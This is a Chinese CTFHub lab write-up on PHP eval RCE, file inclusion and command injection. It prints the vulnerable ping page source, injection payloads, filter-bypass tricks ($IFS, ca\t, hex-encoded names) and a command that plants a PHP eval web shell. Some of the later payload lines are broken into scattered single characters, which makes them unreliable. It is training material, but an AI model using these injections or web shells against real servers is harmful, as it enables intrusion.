RCE
eval执行:
首先打开环境:
根据资料知道:
eval会把字符串当作php语言执行
所以:
执行:/?cmd=system(“ls …/”);
没有发现什么,在进行下返回上一目录:
没有发现什么,在进行下返回上一目录:
发现flag文件 cat它
/?cmd=system(“cat%20…/…/…/flag_2808”);
得到flag:
flag:
ctfhub{28beee06fe9f20d338cc83f4}
文件包含
:
根据题目可知到:
点开shell
Strops 查找字符串在字符串中第一次出现的位置:
所以可以构造一下file=shell.txt,
再往ctfhub里传参:
、没有发现flag
还是像上一题一样,一级一级的找
最后使用cat命令查看falg
php://input:
首先查看题目得到:
这题代码限制只能使用php开头的伪协议
查看phpinfo
所以利用burpsuit请求更改:
cat flag_12322 得到flag:
ctfhub{843d95072b099ef4b3aafddc}
远程包含:
此题同上题用burpsuit:
获得flag
读取源代码:
除了上一种没有想到什么别的思路,所以到网上查一下发现可以使用php伪协议中的filter协议
构造一下
得到flag
文件包含:
命令注入-无过滤:
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$cmd = "ping -c 4 {$_GET['ip']}";
exec($cmd, $res);
}
?>
<!DOCTYPE html>
<html>
<head>
<title>CTFHub 命令注入-无过滤</title>
</head>
<body>
<h1>CTFHub 命令注入-无过滤</h1>
<form action="#" method="GET">
<label for="ip">IP : </label><br>
<input type="text" id="ip" name="ip">
<input type="submit" value="Ping">
</form>
<hr>
<pre>
<?php
if ($res) {
print_r($res);
}
?>
</pre>
<?php
show_source(__FILE__);
?>
</body>
</html>
因为题目没有过滤,所以直接拼接就行了
输入127.0.0.1;ls,得到
发现有一个php文件
Cat查看
发现没有显示出来,猜测可能是编码的原因
在后面加上| base64
即可转换为base64编码输出,然后再解码得到flag
PD9waHAgLy8gY3RmaHViezY2NjJmMTYwNWJhOTcyMGUwYmVlZWZlY30K
也可拼接上传一句话木马,然后通过蚁剑链接,也能得到flag
127.0.0.1&echo"<?php @eval($_POST['1']);?>">1.php
但是蚁剑链接不上,经过查询,发现要修改成
127.0.0.1&echo -e “<?php @eval(\$_POST['1']);?>” > 1.php
echo命令会调用$_POST导致原始文件中没有
命令注入-过滤cat:
本题过滤掉了cat命令
可以使用连接符或者反斜杠来绕过,例如:ca\t,ca“t
其余步骤与上题一致
解码得到flag
也可使用蚁剑
命令注入-过滤空格:
在 bash 下, 可以用以下字符代替空格:<,<>,%20(space),%09(tab),$IFS$9,
I
F
S
,
{IFS},
IFS,IFS 等
所以将空格替换即可得到flag
命令注入-过滤目录分隔符:
因为过滤了目录分隔符/
所以要切换到相应的目录才能cat到有flag的文件
先使用ls发先还包含了一个文件夹
Cd切换到那个文件夹
发现了php文件
还是像之前一样,cat出来
命令注入-过滤运算符:
发现过滤掉了很多运算符,但是;并没有过滤
所以可以照常使用
命令注入-综合练习:
通过查看源代码
发现过滤掉了很多东西,这时就可以对照表上的进行替换
不知道怎么,在命令框中输入/?ip=127.0.0.1%0als#没有作用
所以在url里修改
因为flag也被过滤掉了
所以可以使用tab补全
也可以转换成16进制字符串绕过
发现空格替换为%20也不行
所以替换成
I
F
S
构
造
成
/
?
i
p
=
127.0.0.1
{IFS} 构造成 /?ip=127.0.0.1%0aca''t
IFS构造成/?ip=127.0.0.1{IFS}
(
p
r
i
n
t
f
(printf
(printf{IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65\x66\x6c\x61\x67\x5f\x32\x38\x34\x30\x37\x32\x35\x32\x36\x31\x33\x30\x39\x37\x2e\x70\x68\x70 ")
或者/?ip=127.0.0.1%0acd%09*_is_here%0aca%5ct%09*_28407252613097.php
即可得到flag